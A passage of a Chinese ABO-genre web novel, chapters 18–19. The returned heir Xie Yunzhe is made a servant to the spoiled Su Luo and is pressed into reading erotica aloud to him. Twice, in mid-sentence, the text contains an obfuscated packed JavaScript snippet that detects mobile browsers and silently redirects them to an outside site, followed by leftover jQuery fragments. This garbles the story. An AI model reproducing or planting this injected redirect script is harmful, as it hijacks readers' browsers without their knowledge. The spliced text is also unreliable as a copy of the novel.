小少年激动过头,后知后觉自己说出会冒犯到别人的话。
没办法,谁让他是听着其余成年跳虫游民的见闻长大的,对斯卡蒂生活困窘的印象根深蒂固。
好在季宇飞并不介意,摇头接道。
“那已经是被淘汰的品种了,我们用它培育出比乳酪还软的新果实哦,保你喜欢。”
听到有好吃的,谢玉海来前堆积的抵触一扫而空,眼巴巴望着那片种植园。
而俯瞰着同片光景,谢云哲心中冒出几丝古怪的躁意。
趁弟弟被吸引到另一侧,他叫住那名狐狸眼的男人。
“请问季先生,我和小海今后……”
识破他踌躇下的困扰,季宇飞开口,再度放缓语气。
“两位今后会住在苏家宅邸,位于霍里德的郊区,靠近基地边际线,绝对安全。”
“另外请您放心,既然您选择回来,我们就有义务保障您生活的各方各面。”
“旅客也好,故人也罢,斯卡蒂由衷欢迎每一位真心的到访者,全盘接纳。这的所有人都是这么认为的。”
“那我可以继续使用我现在的名字么。”
谢云哲趁势追问,加快语速道。
“这事我考虑很久了,虽然我知道我本来是苏元帅家的一员,但如今的我们和陌生人无异,不求强行磨合关系,能够互相理解,顺其自然相处就好。
另外,养育之恩大于天,我想保留这个养父母给我起的名字。也算是留作纪念。”
听完他的解释,对方看起来并不意外,眨眨眼爽快地点头。
“当然可以,在下以及苏元帅都尊重您深思熟虑后的选择。”
男人嗓音温柔,言辞恳切,可谢云哲内心的违和感不断膨胀。
这份感受,在他抵达住宅后攀升至最高峰。
来接应的季宇飞既没有领他们去住处,也没向一路上碰见的侍者卫兵介绍,而是直接把他们带进一栋红色屋顶的房子。
屋中装潢谈不上奢华,但多对称的设计上尽显巧思,令人耳目一新,典雅摆件被擦得纤尘不染。
这里似乎是新修建的,时间未满一年。
轻嗅着走廊里的气味,谢云哲细眉微蹙,刚回神又被季宇飞拦下。
“请两位在这稍等片刻。”
说完这句客套话,他便独自拧开门把,动作小心地推进去。
那一开一合的速度太快,好奇的谢玉海伸长脖子什么也看到。
小少年揉揉肚子,无奈地嘀咕着。
“神神秘秘的搞什么啊,这还没把椅子坐。我快饿死了,不知道哪里有吃的。啧,等会儿再问他好了……”
而他们这么一等就是整整四十五分钟,等到外面天色昏暗。
从枯燥转为奇怪,从困惑开始积累不满,当门把再传来动静时,谢玉海已吊足一口怒气,正愁没处发泄。
奈何他蹲得太久双腿发麻,起身还没说话就先龇牙咧嘴,继而因震惊而咬到舌尖。
面前的铜色大门完全敞开了。
那些做工精细的家具,玫瑰色的地毯,以及仿佛是用羊绒一针一线缝制,拼成独此一份的沙发套组,全数展现在他们眼前。
高大落地窗正对门口,映照出繁茂如瀑的花藤,翠绿叶片拢着兰紫花串,美不胜收。
看呆的谢玉海忘记眨眼,察觉藤条在轻轻晃动才反应过来那不是假的,而是货真价实的‘温室花朵’。
必须精心栽培在室内的鲜花,总会让人联想到娇艳,脆弱,以及转瞬即逝的美好。
一如周遭用色彩和饰物堆砌起的浮华,终有一天会淡退消散。
可是这些形容,却无法套用在圆桌前的那名青年身上。
他穿着素色单衣,没戴任何饰品,仅有一束浅粉鲜花放在手旁。
门打开时起,他两眼就直盯前方,也是走廊上一高一矮呆住的人。
这目光藏着某种不可抗的穿透力,会堂而皇之闯进对视的另一方眼中,灼烧内在。
注视仅仅几秒谢玉海就别过眼,担忧地转向谢云哲。
他隐约猜出那名青年的身份了。
不似谢玉海的犹豫,谢云哲早已解出答案,一时无措地干站着。
谁能想到,他和原来的苏洛小少爷会以这种突兀的形式见面。
突然间,对方看着他笑了。
意味不明又短暂的笑声,虽然悦耳但却像鱼钩一样抓挠着耳朵,听得人有些发怵。
“来了啊,刚才我在午睡呢,让你们等这么久真不好意思啊。不过错在你们,是你们来早了。”
小少爷撑着右脸颊,道歉听不出丝毫诚意。
反倒是充满了恶意浓浓的挑衅,等不及要引出更多阴阳怪气的捉弄。
谢云哲暗自深吸一口气。
来前他就有预想过这种情景。
过去作为真的omega少爷,同时又是受人尊敬的双亲留下的孩子,这位苏洛从小备受宠爱,像颗质量庞大的星体,牵引着无数卫星为自己旋转。
而他的到来无疑破坏了这份平衡,自然成为对方忌惮的目标。
现在只需要他立刻心平气和地,坦诚地表示……
“你也太不讲道理了!我们来得早是因为车,又不是我们想提前、而且凭什么我们要等你睡醒啊?你分明就是故意耍我们!”
嘴快的谢玉海抢先发话,谢云哲一惊,赶忙搂住少年并捂住对方的嘴。
但唇舌之战不是说一方退出就能结束的。
那小少爷往前靠,下巴微微翘着。
“嗯?你怎么知道我就是故意的啊?”
“唔?唔唔、唔——”
经他一激,谢玉海没掐灭的火又窜起来了,瞪大眼拼命挣扎。
被他俩夹在中间,谢云哲几次向屋里的另一人投去目光。
季宇飞安安静静守在旁边,脸上挂着不变的礼貌微笑,完全没有要插手的意思。
既然如此,只能自己来了。谢云哲暗叹道。
“抱歉,小海他性子有点急,说话考虑不周冒犯到您,我代他向您谢罪。”
他飞快致歉,硬是按住少年脑袋跟他一起鞠躬。
幸好,他的补救成功了,他听见桌前的青年发出伸懒腰般悠然的声音。
“唔——好吧。”
谢云哲悬着的心尚未落下,又听人悠悠说道。
“那么你的赔礼呢?哦对了,还有见面礼,我可是在知道你要来的那一天就开始期待了呢。太庸俗无聊的,我不要哦。”
谢云哲抬头,顺着上移的目光窥见对方摊开的右手。
白里透红的掌心,形状好看的五指,很适合捧着名贵的珠宝或者……
或者把玩匕首。
费神抹去这个不礼貌的念头,谢云哲先是一顿,接着直起身在灰扑扑的外套里摸索。
他最后掏出一块卵形石头。
外壳质感近似石英,中间的蛛网状裂缝里却渗出青蓝幽光,会在移动时明暗交替,仿佛里面封着数只萤火虫。
“这个,是我从故乡、从我原来的住处带回来的,‘蓝月玫瑰’,人们都这么叫它。因为它算是吸收过蓝月能源的半成品,很难破坏掉。虽然它没有强化功能,但有助于稳定信息素……”
忐忑发言的过程中,谢云哲一直留心最专注的听众,即小少爷的反应。
见对方兴趣缺缺瘪嘴准备叹气,他心忽地一乱,弯腰从长靴夹层里抽出某物。
那是与手掌一般长的匕首,状如翎羽,通体漆黑。
“这个、这是我自己做的陨铁武器,您要是不介意——”
“拿过来给我。”
说话被打断向来是自己最讨厌的事,但面对笑靥明媚,被娇纵惯的小少爷,谢云哲没怎么放在心上。
走过绵软的地毯,如同踩踏云层那般不真实,这会儿他才意识到自己原来从头到尾都在走廊外,自觉地保持距离。
他捧着刀,像位跋山涉水的外邦使臣,边惶恐边期待地进献。
靠近细看,笑意轻慢的小少爷更像独霸一方的国主了,就是容貌还太稚嫩些。
而这国主两指捻起匕首,看了看后轻哼道。
“形状倒是独特,材质也蛮少见,不过嘛——我用不着,而且你把它跟臭脚丫放在一起,我才不要。你拿回去自己备着吧。”
小刀被不屑地掷向地面,还是故意偏向角落,快滑进橱柜底部。
目睹这侮辱人的行径,谢玉海忍不下去了。
少年扯掉头盔一样硬邦邦的风帽,露出草皮般剃短的寸头褐发。
“云哲哥,这里不欢迎我们,我们走就是!”
他激动地上前拽拉谢云哲,另一只手使劲挥舞,像是准备随时用头盔痛击惹人嫌的家伙。
目前为止,他厌恶的只有那嬉皮笑脸的苏洛少爷。
一个无理取闹又欠揍的小气鬼混蛋。
“走?你们还想去哪?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176279|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>小气鬼拨弄着花束,竟还理直气壮反问。
“我大哥找你们找得这么辛苦,劳神又费力,你们只是过来观光一圈就想跑?”
谢玉海闻言目瞪口呆,几秒后彻底炸开了。
“你、你不会还想我们付你钱吧?分明是你们这边说要接云哲哥回来的、而且云哲哥才是真正的——”
“小海!”
“是这地方真正的继承人之一?”
两道声音不约而同打断少年,一声急切,一声慵懒。
大概是愤怒影响思考,谢玉海无法同时处理两头的信息,就这么呆住。
于是兜兜转转,主控权仍被白衣青年攥在手中。
他撑住桌面起身,一边晃着花束,边向另那对无血缘关系的兄弟走近。
那两人这才发觉他的右脚有点跛,走路时一瘸一拐的。
“原来你们是这么想的啊,那可不好。”
“为避免以后你们生出没必要的愚蠢想法,我今天就好心地提前告诉你们吧。”
“在这里,我现在以及未来所拥有的一切,凭你是永远不可能拿走的。谁都不可能。”
说出‘永远’二字时,他恰好停在谢云哲跟前,用含有恫吓之意的双眸逼得对方不得不低头。
见面不过一刻钟,他就连续下马威,程度一次比一次严重。
谢玉海气得七窍生烟。
这哪里是迎接流落在外的亲生子回家,分明是只想做给别人看赚个好名声,以免节外生枝而已!
忽然想起什么,谢玉海张嘴道。
“云哲哥,你不要跟他废话,我们去找苏元帅。”
少年的思维简单易懂。
整个斯卡蒂由苏霆掌管,他既是苏家现任家主手握大权,也是可恶苏洛的长辈,让他来主持公道再适合不过了。
就算他和谢云哲不亲近,人也表里如一冷冰冰,他也应该是非分明的好统领。
谢玉海正酝酿说辞,走廊另一端就出现了那道身影。
苏霆应是刚从外面赶回来,深蓝军装的肩头还覆着层白霜。
看见他,谢玉海眼里亮起希望的曙光。
但是当瘸腿青年敞开双臂,小跑着飞扑过去后,他这点希望又湮灭了。
“你回来啦,大哥!”
小少爷苏洛欣喜高呼,全然不顾自己跑动时摇晃不定的身体,跌跌撞撞着快要栽倒。
男人快步倾身接住他,自然地搂着并轻轻抱起。
“嗯,收到你消息我就过来了。”
和平时一样的声线,却似初融的寒冰,淌出几丝不易察觉的柔情蜜意。
他就只注视着坐在自己臂弯中的人,仿佛这就是他的世界中心,是唯一能消融他的太阳。
完了。
看着那对卿卿我我的抢眼组合,谢玉海喉头一哽,说不出告状的话。
可他偷偷瞥眼,瞄向身边秀丽的青年,心疼不满又瞬间涌上。
“苏霆元帅、我——”
谢玉海出声的瞬间,苏霆瞟来一眼。
那眼神虽无恶意却让少年霎时萎了精神,差点要缩进谢云哲背后。
不过,他好歹还是有骨气地说完了。
“我我我、我想请问,我和云哲哥住哪里,我们赶路三天,现在、现在很累。”
到此为止,一直旁观的季宇飞终于下场了。
可他却不是来解围的,而是火上浇油的。
“我记得,谢玉海小先生之前说你们是要离开了?那您现在还有这个打算吗?”
谢玉海全脸涨红,支吾着挤不出一个字。
为了他,谢云哲再度发话。
“小海刚才是开玩笑,抱歉让大家误会了,我之后会监督他改正的,请别因此苛责他。另外他跟着我奔波多日,确实累着了,难免有点小情绪,还请谅解。”
揽完责任,维护了小辈,他下意识向在场另一名‘小辈’看去。
“还有我记得,季先生曾说过——旅客也好,故人也罢,斯卡蒂由衷欢迎每一位真心的到访者,全盘接纳。
这还是我第一次去到某个地方,听到如此触动我的迎宾语,今生能来此地,是我这名有缘旅客的荣幸。”
用恭维给人戴高帽,他也是抱着赌一把的心态,拼的是模糊不清的直觉。
他说完,走廊被一种不明的寂静占领。
季参谋与苏元帅双双沉默,谢玉海不安地转动眼睛,唯有靠在元帅胸前的青年双腿轻晃。
随后,他发出像猫低鸣一样的轻笑,满足而刁滑。
“可我们家不养闲人哦,那以后——你就做我的贴身侍从吧,他就去柴房打杂,嗯,非常合适。”
这个提议,尤其是前半段出乎所有人意料,所以连溺爱他的元帅都不免皱眉。
“你的生活一向由熟悉你起居偏好的人打点,如果是觉得海勒姆忙不过来,我再挑几个好的给你。”
“就是因为要熟悉才好嘛。反正以后都是他跟着我,早点习惯就是。”
这话说得,只差没把要谢云哲伺候自己一辈子的奚落甩到别人脸上了。
要求无礼得不可置信,苏霆答应的爽快更令谢玉海咋舌。
也就笑得像狐狸的参谋长还肯假惺惺问他们一句。
“两位意下如何,要是能行,我这就去置办你们的生活用品,为两位接风洗尘。”
靠自己拿不定主意,谢玉海又急又气,紧盯着自己的兄长。
可今天的一切好像都不对劲,谢云哲没怎么犹豫就点点头道。
“那麻烦各位了。”
自己尊敬的兄长居然要被迫向一个被所有人惯坏的,性格烂到极点的混蛋低声下气,谢玉海这口恶气一直憋到晚上。
住在最偏远的平房,听着窗外狰狞呼啸的夜风,他辗转反侧最后忍不住跳下床。
“云哲哥,我还是忍不了!呜啊啊啊!气死我了!他怎么可以这样对你说话!”
敬爱之人受辱是一层原因。
至于另一层……
“早知如此,我们还不如继续攒钱去买‘箱’,然后带大家尽快离开,找到——”
“玉海。”
桌前的青年头也没抬,轻声一唤便让炸毛的少年安分下来,低头端坐在床边。
“那件事我还没敲定,你今天太急躁了,这不像平时的你。”
这句话的语气比上一句更严厉,也让谢玉海的脑袋埋得更深了。
“对不起,哥……”
少年的神情口吻结合,能推导出他真正想说的心里话。
——对不起,首领
眼前擦拭匕首,眉眼如画的青年,不止是他仰赖的兄长,还是近两万跳虫游民的领袖,将引导他们前往新家园的革命者。
周旋两年,游说一年,半年确立正式的管理结构,能用区区三年半就将一群最难聚合的人统领。
如此看来,谢云哲不愧是上代苏家家主的后裔。
起码能力上,他能与掌管全军的苏霆不分伯仲。
这次应邀来斯卡蒂,目的不是家属团聚,更不是寻求庇护。
而是他想看看,斯卡蒂是否能成为他安顿同胞的一个备选,或者可列入今后利用的一环,方便寻到合适的星球。
那将是在这日渐失衡,衰退倒退的时代里,真正属于他们的家园。
不过……
食指在匕首尖端轻弹,刀锋颤动,发出澄澈的鸣音。
听着能静心的声响,今日的见闻一一在谢云哲脑中飞驰。
“旅客也好,故人也罢……全盘接纳。”他复述出那句欢迎语,缓缓闭眼。
始终无法平静的脑海里,最后出现的还是那个人。
靠长年相伴攒得的旁人情谊,以地位相貌巩固的娇惯待遇,自诩唯一的苏洛少爷,大张旗鼓地向他宣誓主权。
可偏偏又是这人透过层层虚影,重重遮掩,在盈满花香的客室里,仿佛一眼就将他的假面看穿。
但愿,这只是错觉吧。
18. 元首的蓝宝石18
“水太凉了,你想我喝了后肚子痛一天吗?拿回去重倒。”
“这次太烫了,我舌尖都麻了。”
“你餐具摆得好丑啊,该不会是故意膈应我,让我看见就不想动吧?”
……
间隔为数分钟的呵斥,夹杂颐指气使的命令,别说从早到晚听了快三天的谢云哲了,就连偶尔路过,只能远远观望的谢玉海都能听出心病。
但整座宅邸,没有一个人会站出来维护两个外来者的。
谁让折腾谢云哲的是这里的小主人。
“呸!什么小主人,分明就是好吃懒做的寄生虫,仗势欺人黑心omega,恶毒刁钻小气鬼!”
正在擦地的谢玉海拧干抹布,忿忿地暗骂。
来的第一天他就被分到柴房打杂。
打杂说得轻巧,他实际是随叫随到任意拿捏的‘公共奴|隶’罢了。
某些别人不想干的活,甚至是根本不用人负责的琐事统统都安排到他头上,搞得他从早到晚忙不停,累得晚上回房倒头就睡。
唯一过得去的是,这儿的伙食不错,顿顿都有新鲜的肉和蔬果。
谢玉海的动作忽然慢了下来。
仔细想想,这边吃喝都不曾亏待他们,提供的居住环境虽不及主宅,可全天供暖供水的待遇在天寒地冻的雪域已是顶级。
另外,还有一点。
就像那个姓季的参谋长说的,这里无疑是最安全的中心。
位置靠近军事基地,日常有士兵站岗巡逻,偶尔还能看到奇怪的飞舰掠过天空,像鸽群一样循环漫游。
但就算这样也改变不了他们,尤其是混蛋苏洛超级可恶的事实!
偌大厅室里,小少年结束神游,又使出浑身力气擦拭地面,仿佛那就是苏洛少爷,以及他周围不长眼的家伙们的脸。
现在他已听不见那倨傲的声音,这便意味着该到‘早间散步’了。
所谓早间散步,就是由谢云哲推着轮椅,将瘸腿的小少爷送到花房中,然后继续被对方使唤。
不像窝火三天的弟弟,谢云哲在任劳任怨侍奉的同时已摸清诸多关键信息。
就譬如,这栋专属苏霆苏洛两人的主楼名为红屋,一年前曾因不明势力的袭击毁坏,所以重新修建了。
不过苏霆忙于公务,家里基本就苏洛在。
再比如,红屋遭毁前苏洛小少爷就不幸地被匪徒绑架,因此落下病根,并且又于元帅长子——弗雷泽·普莱德到访时二次遇袭。
他的右腿神经严重受损,体能再度衰退,如今连用蓝月能源治疗都有较大的瘫痪风险。
所以,他眼下只能一直瘸着,平时也要尽量避免剧烈运动。
“倒茶。”
不含情绪的命令声起,谢云哲条件反射回应。
“是,苏洛少爷。”
话音刚落,他抬眸小心瞄了一眼。
花房位于红屋三楼,温度湿度恒定,室内空间犹如单独封印的春日盛景,栽种着在首都也难见的植株。
清新浓艳各色交织的花海里,同样被簇拥的苏洛突出得宛若一个异类。
倒不是说他的形貌破坏了什么,毕竟他穿着寻常的衬衫长裤,连印花也是蔷薇与藤叶,格外应景。
青年左手垫着轮椅扶把,轻轻搭住脑袋,乌发如绸缎垂在耳畔,还有几丝勾在指头上。
因为注意力都在翻阅的书里,他的表情如肖像画一般宁和。
恰好是在谢云哲要收回目光的前一秒,他眸光上扬,冷不防捉住人。
“怎么,你很感兴趣?”
偷看被逮到,谢云哲不慌不忙点头。
“在下长大的地方,很少能看到完整的书籍。”
对于居无定所,全年流浪的跳虫游民而言,温饱永远摆在第一位置。
随时能和风险组织,即以星盗和赏金猎人为主的无证商贩买卖的他们,总会优先考虑采购生活必需品,尤其是食物。
“嚯——那你不识字?”
“基本的读写没有问题的。因为抚养在下长大的恩人,也就是小海的双亲,他们通晓古今学识,在复原旧语言上颇有造诣。”
“就是被流放的罪人喽。”
“……是。”
唯有这次,谢云哲反应慢了半拍。
初代普莱德正式接管政权后,最先废除了血红王的死刑制。
他根据民调判断,帝国解体后出现的诸多犯罪行为都是人民因环境动荡才会有的‘不得已而为之’,于是将刑法大改写,认为要酌情考虑赏罚,尽量安抚群众。
所以,被放逐就成了最高的处刑。
这样的贤政当年确实有改写局势,可最该改变的地方,仍旧一样。
被陷害的,被利用后抛弃的,被铲除异己驱逐的,这部分人虽然没死,却落得个世世代代不能为‘民’,只能像跳蚤一样辗转各处吸血,毫无尊严的活着。
冲自己来的大吆小喝,谢云哲能接受,此刻珍重之人受到嘲弄,他难免感到不适。
啪得一声响,那本精装红皮书丢在他眼前。
“那就省事了,你念给我听吧。”
“这……”
“怎么?凭他们的水平,还教不会一个你?”
谢云哲回以沉默,片刻后慎重地捧起红书。
目光首先落在扉页,是熟悉也是如今全区通用的统一语言,接着翻进目录,章回体的标题一览无余。
这是本小说。
谢云哲莫名松了口气,翻开折起的页角,顺第一行念下去。
“他的手冰凉却灵巧,就像他只会送出乖巧话语,几秒前曾温顺回应的舌尖,是被施了魔法的糖浆流液,可爱的,初次破壳的小蛇,对这世界充满无餍的好奇。”
“这一夜,他只好奇眼前这个男人,他慕恋已久的英雄的滋味。那白如雪,柔如水,奶酪般的手颤抖着伸出,覆住少校那粗壮而灼热,早已似火棍立——”
才念到第三行,谢云哲一个吸气紧急刹车,张着嘴卡住。
他本来不想抬头,但大脑擅自运作,让他难以置信地看向桌前的青年。
苏洛双手托腮面朝他,正听得津津有味。
“继续嘛,正到好戏呢,别停下。”
“……”
小少爷一改面貌,好声好气地诱哄,谢云哲非但没回神,反而卡得更死了。
同为omega,可自幼混迹流浪区,与各色各样的人马打交道,他自认经历更多见识更广,怎会不明白这是什么性质的书。
“这、请问苏洛少爷,这是谁给、您哪里找到这本书的?”
他说话难得错乱了一回,幸好没激怒对方。
小少爷微微侧过脑袋,笑得知足且骄傲。
“是我瞒着大哥买来的啊,要带进来可不容易了,哎呀,不说这个了,你快念啊!我只有在这才能学呢。”
学?
学什么?
学了用在哪?
惊骇之际再受冲击,谢云哲负责冷静的那根筋猛地抽了一下。
他没立即听令,而是低下头快速往后翻了几页,耳根亦迅速蹿红。
若是正常的性||教育书籍,或者只带有一点点那种情节的文学故事也就罢了。
可这本书,根本就是交||欢狂想大合集。
不仅详细地描写过程与具体的使用部位,还故意夸大了某些情景刺激感官,完全是为了让两个主人公,或该说‘模特’们尽快还原汁水横流的画面,合不合理也无所谓。
像什么婴儿手臂|粗|长,埋进体内七天七夜,还有离谱的塞进去整把刀鞘扩|张,全身涂满巧克力做||爱……
一点也不卫生啊!
一面是羞耻,一面是气的,谢云哲重重合上书记,脖子下意识后仰。
仿佛是怕书里的淫|邪|汁水溅到他脸。
“恕我直言,小少爷,您看这种书还太早了。”他板起脸退开半步,举着书煞有介事道,“苏元帅固然爱护您,但两位年龄性别上还是存在隔阂,导致他忽视您的成人教育,为了您的身心健康,我会提醒他的。”
见他是要没收教材打小报告,青年一下瞪圆眼睛,语气也急了。
“喂!把书还给我!”
“万分抱歉,还请您理解,只是此事容不得马虎。您之后若要责罚,在下也无怨言。”
“啧,你自说自话也要有个限度。马上还来!”
“非常抱歉。”
……
花房里开始上演一退一进的剧目。
谢云哲两腿正常随意走,可苏洛得自己控制轮椅,时不时就会卷进草皮和灌木枝叶,行动得更笨重了。
就算费劲地站起来,他瘸着条腿也跑不过对手。
依仗这点,谢云哲退到入口附近的死角还是一脸淡然。
而看着气鼓鼓的,已经说不出话来的青年,他仍坚持自己决定。
不过为今后的他和小海不会因此遭殃,他道出一个折中建议。
“苏洛少爷,您要是实在好奇,我推荐您更适合阅读的,有什么不懂的地方,我能回答您。”
果然,苏洛停住了,眯着眼将他上上下下打量数遍。
好像每扫过一次,那冒精光的双眸就如刮刀剥下他一层表壳。
最后青年嗤笑,露出满口白牙反问。
“怎么,难道你很有经验?你睡过多少人?都是怎么样的?”
这些问题不难回答,却因为存有诋毁嫌疑而面目可憎。
再开口时,谢云哲声音冷硬了几分。
“我对情爱并无兴趣,也没有这方面的需求。”
他算是蓝月能源强化人体后的达标种类,已不受信息素和发|情|期束缚,除了有发育完全的腺|体,平时看着与beta无异。
何况,他有着远大于儿女情长的理想。
“为什么?因为你性|冷淡?还是没遇到喜欢的人?你该不会有奇怪的癖好吧?”
小少爷直言
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176280|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不讳,把好不容易积攒的怒意又全数打散。
视线交错,谢云哲熄了火似地沉默,忽而张开嘴。
“并非所有人都会耽溺于此的,虽说‘性||欲’是天性的一种,是改不了的本能。”
“但可以与本能做对,将其驯服为自己所用,这是人与野兽最大的区别之一。所以我认为,这种生活方式也理应存在,当然,无论哪种都不能轻易抹杀,这不是人类自己说的算的。”
语毕谢云哲抿紧嘴,一阵疑惧直袭心头。
刚才的解释是他想说的,却不是他应该说的。
本来在这随便扯点别事的糊弄过去,要么和之前一样默默应下就是了,可他却鲁莽地搬出长篇大论。
万一……
“唔——这样嘛,是蛮有道理的。”
小少爷的反应没有预想中的愤怒或起疑。
他不仅没恶脸相向,反而暗含喜色地凑上前。
“我是不是可以理解为,你目前不想结婚,对吧?无论对象是谁都一样?”
话题莫名跳转到婚姻,谢云哲眉头大皱,因为不敢怠慢,他迟疑着点头。
虽说意思差了那么‘一点点’,但最终结论是贴切的。
然后他就见对方欣然拍掌,欢呼道。
“那太好了,你不会跟我抢伊诺克大人啦!”
闻言谢云哲表情蓦地一空,继而循着话语的指向性确定某种可能。
来前他有做过背调,知晓苏洛与弗雷泽解除婚约的事。
但游民间的消息脉络有限,加之独立的斯卡蒂本身就密不透风,他便打探不到更深层的缘由。
如今看来,是小少爷早就心系伊诺克·普莱德,所以推掉了另一个?
那么之前忌惮他,表现得敌意满满,全是因为担心他会抢走这个继续联姻的名额?
触及到真相,谢云哲哑口无言,愣愣地看着另一个人在轮椅上灿烂地笑。
明艳且朝气蓬勃,把周遭花朵统统比了下去。
“哦对了,那本书你要拿去就拿去吧,反正我还有几大箱呢。你要是敢告诉大哥,我就说是你给我看的,说你要带坏我。”
话锋一转,威胁谢云哲的青年又挪近几分,压着音量道。
“除非你继续履行约定偷偷教我,那我就当作没发生过,否则我今天下午就把你们两兄弟丢进雪山做成冰棍。”
角落里,谢云哲被逼得无话可说,只能继续模仿哑巴发怔。
今天他算是开了眼界,知道一个人到底能耍无赖到什么地步。
可他对青年厌恶不起来。
非但厌恶不起来,他还在亲眼看到那满满三箱伪装成正经文学的‘教材’后深感不安,只欲逮住谁问问清楚,到底是哪个下流胚子敢把这么过火的玩意儿卖给大门不出二门不迈的纯真小少爷。
不,离纯真还有点距离。
那能面不改色比对火辣插图的苏洛充其量是心性直率,压根没有对这种事的概念。
胳膊肘拧不过大腿,同时也为守护青少年心理健康,被拉下水的谢云哲被迫看了半天的刺激图文,夜里几乎是飘着走回住处。
他以自己的方式动手脚,在小少爷看见前就先筛选出各种限制级、毁三观、完全有违常识的邪|典内容,然后偷偷转移掉。
结果现在他自己睁眼闭眼全是荼毒神经的淫|词|艳|图,脑海里的记忆想删也删不去。
再一想到这些很可能会被对方拿来用在伊诺克·普莱德身上,他心愈发沉重。
“……我说云哲哥,你有没有在听的啦!云——哲——哥!”
床榻上,谢玉海大声呼喊,终于把头脑昏沉的谢云哲喊醒。
“啊?噢,我有的、我在听呢,小海。”谢云哲立即抬头,沉静的微笑与及时的接话无可挑剔。
但谢玉海见状盘起腿双手抱臂,严肃的模样活脱脱一个小大人。
“云哲哥,是不是那个混蛋苏洛又欺负你了?还是他又联合其他人给你使绊子?”
听到‘欺负’一词,谢云哲哭笑不得,连忙摆手转移话题。
“时间不早了,你想跟我说什么员工八卦就快点,不然明天又要起不来,还得我帮你换衣服。”
少年微微一红,羞得吱哇乱叫,好不容易才平静下来继续。
“就是我搬东西的时候听到的事啦。后厨那几个人在闲聊,讲到过两天大元帅会到这考察。”
来不及惊讶,谢云哲又见谢玉海谨慎地瞅瞅四周,接着附到他耳边轻语。
“不过,真正来的会是伊诺克·普莱德,由他代表大元帅巡视。”
谢云哲眉毛立刻拧在一起。
视角关系,谢玉海没看到兄长微妙的神色变化,他仍热衷地分享自己靠谱的小道消息,语气也渐渐多了一份幸灾乐祸。
“还有啊,我还听说,原来那个混蛋苏洛喜欢、不对,是痴恋伊诺克·普莱德很久了,满脑子都是对方,每天都想着要跟人结婚,简直是个笨瓜。”
19. 元首的蓝宝石19
爱情是一只自由不羁的飞鸟。
谁也无法驯服。
倘若不是它心之所选,任何强迫乞讨都是徒劳。
而它爱的那个,什么也不用说,什么也不用做,就已赢过世上情种千万个……
人脑这个刁钻的神奇器官,像位看热闹不嫌事大的办事员,平时无情无义无偏好地收罗记忆,多到脑袋的所属人只能用遗忘去扩充容量。
偏生到某些时刻,它又假正经地拉开抽屉,甩出一些烫手山芋般的节选。
陪同苏洛小少爷学习教材的三天,谢云哲不止一次痛恨上他过目不忘的记忆力。
那几箱色|情文献如今只能勉强算进理由,因为他看来看去最后硬是练脱敏了。
“哇——原来珍珠项链还可以这样用啊,想出这些花样的人,脑袋真不知道是怎么长的。”
圆桌对面,小少爷捧着画册赞叹,也让心情复杂的谢云哲从上一阶段的发呆跳出。
跳出,然后抬头,他注视着对方立马落进下一个思绪深坑。
人到底是怀着什么样的心情,抱有何种期待,才会如此开心地研读夸张的性||爱文章。
自己不曾切身体验过性和爱的任意一种,那被谢云哲归为‘看过但无用’的记忆抽屉又不怀好意地弹开。
里面装着他养父母的藏书,一些陈旧的文学翻译资料。
——而它爱的那个,什么也不用说,什么也不用做,就已赢过世上情种千万个
资料里唯独这行着重标红,格外醒目,神经质地在他耳边循环。
只怪眼下的情形实在太贴合那段文字了。
“喂,你说我是不是要主动一点才好呢?还是接|吻时先矜持点,然后等对方有感觉了再慢慢迎合,书上都是这么说的,要做足前|戏才愉快。”
苏洛含着棒棒糖咨询他,神情自在,仿佛是在问哪件衣服更衬托自己的气色。
谢云哲感到自己的脸在干巴巴地笑,挤出一点近乎哀求的声音。
“苏洛少爷,您不觉得,您现在想这些……太早了吗?”
他眼前的青年压低书脊露出半张脸,不满地咂咂嘴,呼出莓果味的气息。
“哪里早了,和喜欢的人做这些事,不是很正常?另外我也成年了。”
正常的人不会变出十几条触手然后把伴侣全身上下的洞都堵住的!
也不会专门找一个被阉的残疾人,让发||情中的伴侣坐上去只能蹭不能纾解,然后自己在旁边看的!
咽下喉咙里徘徊已久的呐喊,谢云哲决心改换战略,干咳一声清嗓子。
“您说得对,但是两个人在进行这事之前,总得有增进情感的环节。不然只是单纯的,呃,性|伴|侣了。”
苏洛听得认真,嘴里传出喀哒一声,是糖果脆裂的动静。
“那——性|伴|侣不也是伴侣嘛。”他说出更‘脆裂’的话,不三不四的无知歪理。
谢云哲:“这……”
几分钟内调匀呼吸数次,笑容坚硬得快让脸庞脱水,谢云哲深感这是他成为游民领袖以来做过最艰难的谈判,没有之一。
获得前情提要,他大致推断出苏洛的心理。
由于痴迷于一个未曾见过的男人,还是名望家底皆优于自己的天之骄子,依靠‘婚约’得到对方的安全感不足以支撑他熬过等待的时光。
毕竟,婚约这种看似牢固实则虚无的东西,随时都能单方面解除。
被踢掉的弗雷泽·普莱德就是前例。
陷于爱情漩涡,心智尚未成熟的小少爷就先接连遭遇人生重大事故,如今只会更迫切地,也就是不计一切代价地想绑住这段关系。
将人拴在身边,或者把自己绑在对方身上。
合理,但绝不合适长久发展。
不是兄长,却担了身为兄长的那份顾虑和压力,谢云哲捏捏眉心继续开导。
“嗯,您说得有一定道理,但您终究是要和伊诺克少校成家的。所以,您其实不必往那方面考虑。”
